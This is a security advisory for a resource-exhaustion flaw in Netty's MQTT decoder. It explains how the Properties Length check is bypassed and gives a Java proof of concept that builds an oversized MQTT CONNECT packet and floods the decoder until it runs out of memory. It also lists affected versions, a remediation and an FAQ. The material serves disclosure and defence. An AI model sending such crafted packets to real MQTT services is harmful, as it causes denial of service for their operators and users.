CVE-2026-93575: Io.netty/netty-codec-mqtt: netty: resource exhaustion in mqttdecoder
A flaw was found in Netty's MqttDecoder. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted MQTT CONNECT packet. The decoder fails to properly validate the 'Properties Length' against the 'Remaining Length', allowing an attacker to bypass size limits. This leads to excessive memory and CPU consumption, resulting in a denial of service (DoS) due to an OutOfMemoryError.
Other sources
Resource Exhaustion in MqttDecoder
A public GitHub Security Advisory (GHSA-jqf3-r9ww-c5x8) describes the following issue:
Summary Netty's fix for CVE-2026-44248 is incomplete. The decoder checks if the MQTT packet's Remaining Length exceeds maxBytesInMessage, but fails to validate the Properties Length against the Remaining Length. An attacker can bypass the size limit by sending a small Remaining Length but an enormous Properties Length. This forces Netty to buffer and parse millions of properties, allowing an unauthenticated remote attacker to trigger excessive memory and CPU consumption, leading to OutOfMemoryError.
Details In io.netty.handler.codec.mqtt.MqttDecoder, the decodeProperties() helper method reads totalPropertiesLength and attempts to parse that many bytes. If the buffer lacks the full length, a Signal is thrown. The catch block inside decode() only enforces maxBytesInMessage against bytesRemainingBeforeVariableHeader (the packet's Remaining Length).
By sending a CONNECT packet with a small Remaining Length but a huge Properties Length, the size check passes. ReplayingDecoder then buffers data from the network until the huge Properties Length is reached, parsing millions of UserProperty objects and exhausting CPU and memory.
PoC
java public class PoC { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new MqttDecoder(8092));
ByteBuf buf = Unpooled.buffer(); buf.writeByte(MqttMessageType.CONNECT.value() << 4); buf.writeByte(16); // Small Remaining Length (bypasses maxBytesInMessage)
buf.writeShort(4); buf.writeBytes("MQTT".getBytes()); buf.writeByte(5); buf.writeByte(0); buf.writeShort(60);
// Huge Properties Length: 268,435,455 buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0x7F);
// Send the header. ReplayingDecoder will now wait for 268MB of properties. channel.writeInbound(buf);
// Send 50MB of properties to cause resource exhaustion byte[] userProp = new byte[]{ 0x26, 0, 1, 'A', 0, 1, 'B' }; ByteBuf chunk = Unpooled.buffer(userProp.length 10000); for (int i = 0; i < 10000; i++) { chunk.writeBytes(userProp); }
try { for (int i = 0; i < 715; i++) { channel.writeInbound(chunk.retainedDuplicate()); } } catch (OutOfMemoryError e) { e.printStackTrace(); } } }
Impact Resource Exhaustion. Any application using io.netty.handler.codec.mqtt.MqttDecoder to process MQTT 5 traffic is impacted.
Affected: - maven:io.netty:netty-codec-mqtt affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-mqtt affected <=4.1.137.Final; fixed unknown
Fixed versions: see advisory
Advisory: https://github.com/netty/netty/security/advisories/GHSA-jqf3-r9ww-c5x8
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Compensating control
Add network/packet-level controls to prevent unauthenticated MQTT CONNECT packets from reaching services using io.netty.handler.codec.mqtt.MqttDecoder (e.g., restrict MQTT ingress at the firewall/ACL/WAF so only trusted clients can connect).
Event History
Frequently Asked Questions
Which deployments are exposed to remote exploitation?
Deployments that accept MQTT traffic through Netty's MQTT decoder are exposed to an unauthenticated remote attacker that can send crafted packets to the service.
Does the maxBytesInMessage limit prevent this attack?
No. The decoder enforces maxBytesInMessage against the packet Remaining Length, but does not validate Properties Length against that value, allowing the limit to be bypassed.
Does an attacker need valid credentials or a completed MQTT session?
No. The described attack uses a crafted CONNECT packet and can be performed by an unauthenticated remote attacker.